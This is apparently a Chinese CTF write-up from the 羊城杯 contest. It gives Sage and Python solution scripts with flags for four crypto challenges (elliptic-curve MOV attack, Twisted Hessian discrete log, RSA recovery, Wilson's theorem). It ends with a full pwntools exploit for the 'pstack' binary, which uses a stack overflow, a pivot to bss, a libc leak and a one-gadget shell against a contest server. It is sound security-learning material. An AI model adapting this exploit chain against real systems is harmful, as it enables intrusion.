打了今年的羊城杯,WP都写了,就顺便水个文章

Crypto·

密码题还是一如既往的emmm

容易的就很容易,难的就都是原题

BabyCurve·

题目:BabyCurve.zip

题目分两步,首先出题人本来是想要用P1Q1恢复曲线E的参数bc

但是往后看回发现后面已经有曲线E的的两个点GP,于是待定系数法代入

y2=x3cx+by^2 = x^3 - c x + b

中,两个方程两个未知数解出bc

解出后发现E的阶是p+1p+1,于是直接抄春乎的MOV攻击,解出key

最后AES解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
'''
p = 770311352827455849356512448287
G = (584273268656071313022845392380, 105970580903682721429154563816)
P = (401055814681171318348566474726, 293186309252428491012795616690)

c = - (G[1]^2 - P[1]^2 - G[0]^3 + P[0]^3) * Integer(G[0] - P[0]).inverse_mod(p) % p
c = Integer(c)

b = (G[1]^2 - G[0]^3 + c * G[0]) % p
b = Integer(b)

E = EllipticCurve(GF(p), [-c, b])
G = E(G)
P = E(P)

print(G.order())

# cao
#key = discrete_log(P, G, operation='+')

# https://zhuanlan.zhihu.com/p/421541257
k = 2
F1 = GF(p)
E1 = EllipticCurve(F1, [-c, b])
F2 = GF(p^k)
phi = Hom(F1, F2)(F1.gen().minpoly().roots(F2)[0][0])
E2 = EllipticCurve(F2, [-c, b])

n = E1.order()
P1 = E1(G)
R1 = E1(P)

G2 = E2(phi(P1.xy()[0]), phi(P1.xy()[1]))
P2 = E2(phi(R1.xy()[0]), phi(R1.xy()[1]))

cn1 = p + 1
coeff = ZZ(cn1 / n)

Q = coeff * E2.random_point()
alpha = G2.weil_pairing(Q, n)
beta = P2.weil_pairing(Q, n)
key = beta.log(alpha)
print(key)
'''

key = 2951856998192356
data = {'iv': 'bae1b42f174443d009c8d3a1576f07d6', 'cipher': 'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'}

import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = hashlib.sha256(str(key).encode()).digest()[:16]
iv = bytes.fromhex(data['iv'])
cipher = bytes.fromhex(data['cipher'])

aes = AES.new(key, AES.MODE_CBC, iv)
flag = aes.decrypt(cipher)
print(unpad(flag, 16))

# b'DASCTF{THe_C0rv!_1s_Aw3s0me@!!}'

PS:至于怎么根据曲线的加法操作恢复曲线的表达式,先咕一下,有空研究研究(逃

TH_Curve·

题目:TH_Curve.zip

被GPT坑了一下后

找到Twisted_Hessian

然后找到在@maple的WP中发现这个2023CCTF的原题Barak

待定系数恢复dd后抄作业定义了曲线,然后发现阶是Smooth的,就跟原题一样了,抄过来即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# https://en.wikipedia.org/wiki/Twisted_Hessian_curves
# https://blog.maple3142.net/2023/07/09/cryptoctf-2023-writeups/

p = 10297529403524403127640670200603184608844065065952536889
a = 2
G = (8879931045098533901543131944615620692971716807984752065, 4106024239449946134453673742202491320614591684229547464)
Q = (6784278627340957151283066249316785477882888190582875173, 6078603759966354224428976716568980670702790051879661797)

d = Integer((a * G[0]^3 + G[1]^3 + 1) * Integer(G[0] * G[1]).inverse_mod(p) % p)
assert (a * Q[0]^3 + Q[1]^3 + 1) % p == (d * Q[0] * Q[1]) % p

x, y, z = QQ["x, y, z"].gens()
eq = a * x^3 + y^3 + z^3 - d * x * y * z
phi = EllipticCurve_from_cubic(eq)
E = phi.codomain().change_ring(GF(p))
print(E)
print(E.order())

F = GF(p)
fx, fy, fz = map(lambda f: f.change_ring(F), phi.defining_polynomials())
phiP = lambda x, y, z=1: E(fx(x, y, z) / fz(x, y, z), fy(x, y, z) / fz(x, y, z))
EG = phiP(*G)
EQ = phiP(*Q)

flag = discrete_log(EQ, EG, operation="+")
print(flag)

from Crypto.Util.number import *
print(long_to_bytes(flag))
# e@sy_cuRvL_c0o!

RSA_loss·

题目:RSA_loss的附件.zip

2023BCACTF的原题,至于原理,V的公众号已经写过一遍了,我就不再重复写一遍了(懒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# https://github.com/BCACTF/bcactf-4.0/blob/main/rsa-is-broken/rsa-broken-sol.py

from Crypto.Util.number import *
import math
import re
c = 356435791209686635044593929546092486613929446770721636839137
p = 898278915648707936019913202333
q = 814090608763917394723955024893
n = p * q
e = 65537

# the idea is that our retrieved m is in fact equivalent to the original m mod n
# so we add multiples of n to retrieve the flag
# but this is inefficient so we have to narrow it down using format
# The flag ends with }, so 7D = 125 mod 256
d = pow(e, -1, math.lcm(p-1, q-1))
m = pow(c, d, n)
m = int(m)
while m % 256 != 125:
m += n
jump = n * 256
# the flag starts with bcactf{
# we essentially want to try one possible flag length at a time
# by jumping up to the next one starting with bcactf
# 0 is the smallest char (by code) that can appear in the flag
target = b'DASCTF{' + b'0'*math.floor(math.log(m, 256)-7)
md = long_to_bytes(m)
while re.fullmatch(b'[0-9a-zA-Z_{}]+', md) == None:
if md[0:7] == b'DASCTF{':
m += jump
# print(md)
else:
m += jump * math.ceil((bytes_to_long(target) - m)/jump)
target += b'0'
# print(math.log(m,2))
md = long_to_bytes(m)
print(md)

# b'DASCTF{o0p5_m3ssaGe_to0_b1g_nv93nd0}'

TheoremPlus·

题目:TheoremPlus的附件.zip

其实就是威尔逊定理,根据这里的说法,在n>4n>4时,如果nn是素数则

(n1)!1(modn)(n-1)! \equiv -1 \pmod n

如果nn是合数则

(n1)!0(modn)(n-1)! \equiv 0 \pmod n

最后把n4n \le 4的情况处理一下,然后数素数就好了

暴力数会有点慢,可以用筛法或直接上Sage的prime_pi

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566

# yafu
p = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557429
q = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557219
assert p * q == n

def decode_e(e):
if e > 1:
mul = 1
for i in range(1, e):
mul *= i
if e - mul % e - 1 == 0:
mulmod = mul % e - e
else:
mulmod = mul % e
return mulmod + decode_e(e - 1)
else:
return 0

def gao(n):
assert n > 4
res = 0
for i in range(5, n+1):
if is_pseudoprime(i):
res += 1
return -res

'''
for i in range(5, 256):
#assert decode_e(i) == gao(i)
print(decode_e(i), prime_pi(i) - 2)
'''

#e = Integer(abs(gao(703440151)))
e = Integer(prime_pi(703440151) - 2)
phi = (p-1) * (q-1)
d = e.inverse_mod(phi)

m = pow(c, d, n)
flag = bytes.fromhex(hex(m)[2:])
print(flag)

# b'DASCTF{Ot2N63D_n8L6kJt_f40V61m_zS1O8L7}'

PWN·

题目:pstack.zip

最近在复习PWN,所以也顺便做了一题,以前学的都全忘了(:

pstack·

首先题目漏洞很简单,就是个栈溢出

但是溢出的有点少,只能够覆盖saved_registersreturn_address

return_address的话我只想到返回到vuln函数中(0x4006C4),然后可以做多次写,但是即使写也只能写到[rbp+buf]

于是可以通过把saved_registers修改rbpbss的地址,把payload写到bss

由于vuln函数最后的leave指令等于

1
2
mov rsp, rbp
pop rbp

所以在覆写saved_registers后也会做一次栈迁移

PS:注意在正常的时候rbp是调用栈的一个链表,所以在第一次覆写saved_registers的时候(exp的payload1)栈并不会马上被迁移,在第二次的时候(payload2)才会做栈迁移

于是目前已经可以实现:

  1. rop写到bss
  2. 覆盖saved_registers跳转到bss

然后也出现了一个新问题,就是vuln函数中写的长度不可控(因为没有pop rdx这个rop),所以每次只能写0x40字节的rop

这里我的一个解决方法是,使用0x20rop

1
2
3
4
rop_pop_rsi_r15
addr
0
plt_read

实现任意位置的写,这时因为rdx没被修改,所以依然每次只可以写0x40字节

PS:听说可以用ret2csu实现rdx的修改,但我失败了

但是因为可以写多次,所以可以把rop分多次写进去,把addr设为本次写的rop的末尾的地址即可

于是到这里可以实现:

  1. 任意位置的0x40写,但因为写的指令占用0x20,所以实际每次只能写0x20的有效rop

不过0x20已经足够获取libc的地址了(payload3

1
2
3
4
rop_pop_rdi
got_puts,
plt_puts
rop_pop_rdi

这里有点坑的是,调用完putsrdx会被设为1,再调用一次vuln后可重置为0x40payload4

最后写one gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
from time import sleep
context.log_level = 'debug'

if True:
r = remote('139.155.126.78', 33375)
else:
fname = './pwn'
env = {'LD_LIBRARY_PATH':'.'}
r = process(fname, env=env)
gdb.attach(r, gdbscript='')
input('[Waiting GDB] > ...')

libc = ELF('./libc.so.6')

bss_base = 0x601800
text_vuln = 0x4006C4
rop_ret = 0x400506
rop_pop_rsi_r15 = 0x400771
rop_pop_rdi = 0x400773
rop_csu_pop = 0x40076A
rop_csu_call = 0x400750
rop_pop_rbp = 0x4005b0
plt_read = 0x400528
plt_puts = 0x400520
got_puts = 0x600FC8

# leave1
payload1 = b''.join(map(p64,[
bss_base, text_vuln
]))
r.send(b'A'*48 + payload1)
sleep(0.5)

# leave2, stack -> bss
payload2 = b''.join(map(p64,[
rop_pop_rsi_r15, bss_base,
0, plt_read,
rop_ret, rop_ret,
bss_base - 0x30 - 0x8, text_vuln
]))
r.send(payload2)
sleep(0.5)
r.sendline()
sleep(0.5)

#
payload3 = b''.join(map(p64,[
rop_pop_rsi_r15, bss_base + 0x40 + 8,
0, plt_read,
rop_pop_rdi, got_puts,
plt_puts, rop_pop_rdi
]))
r.send(payload3)
sleep(0.5)
r.recv()

# set rbp 0x40
payload4 = b''.join(map(p64,[
rop_pop_rbp, bss_base + 0x40 + 0x20,
rop_ret, text_vuln,
rop_pop_rsi_r15, bss_base + 0x40 + 8 + 0x40,
0, plt_read
]))
r.send(payload4)
sleep(0.5)
r.sendline()
sleep(0.5)

libc_puts = u64(r.recv()[:-1].ljust(8, b'\x00'))
libc_base = libc_puts - libc.symbols['puts']
libc_system = libc_base + libc.symbols['system']
libc_sh = libc_base + next(libc.search(b'/bin/sh'))
libc_ogg = libc_base + 0x50a47
libc_pop_rcx = libc_base + 0x3d1ee
print('libc_base -> %s' % hex(libc_base))
print('libc_sh -> %s' % hex(libc_sh))

#input('?')
payload5 = b''.join(map(p64,[
rop_pop_rbp, 0,
libc_pop_rcx, 0,
libc_ogg
]))
r.send(payload5)
sleep(0.5)

r.interactive()
r.close()

PS:另外说一下怎么做本地调试(因为我系统库的版本不一样),首先在根目录中新建一个目录(比如我的是/LIB),把题目给的ld-linux-x86-64.so.2软链接到这个目录中

注意链接完后,绝对路径的字节长度需要和/lib64/ld-linux-x86-64.so.2的一样,比如我的就是/LIB/ld64-linux-x86-64.so.2

然后编辑pwn文件,把/lib64/ld-linux-x86-64.so.2改成上面软链后的绝对路径,然后保存关闭

最后在libc.so.6的目录中用

1
LD_LIBRARY_PATH=. ./pwn

即可调起程序

pwntools中的使用方法是

1
2
3
fname = './pwn'
env = {'LD_LIBRARY_PATH':'.'}
r = process(fname, env=env)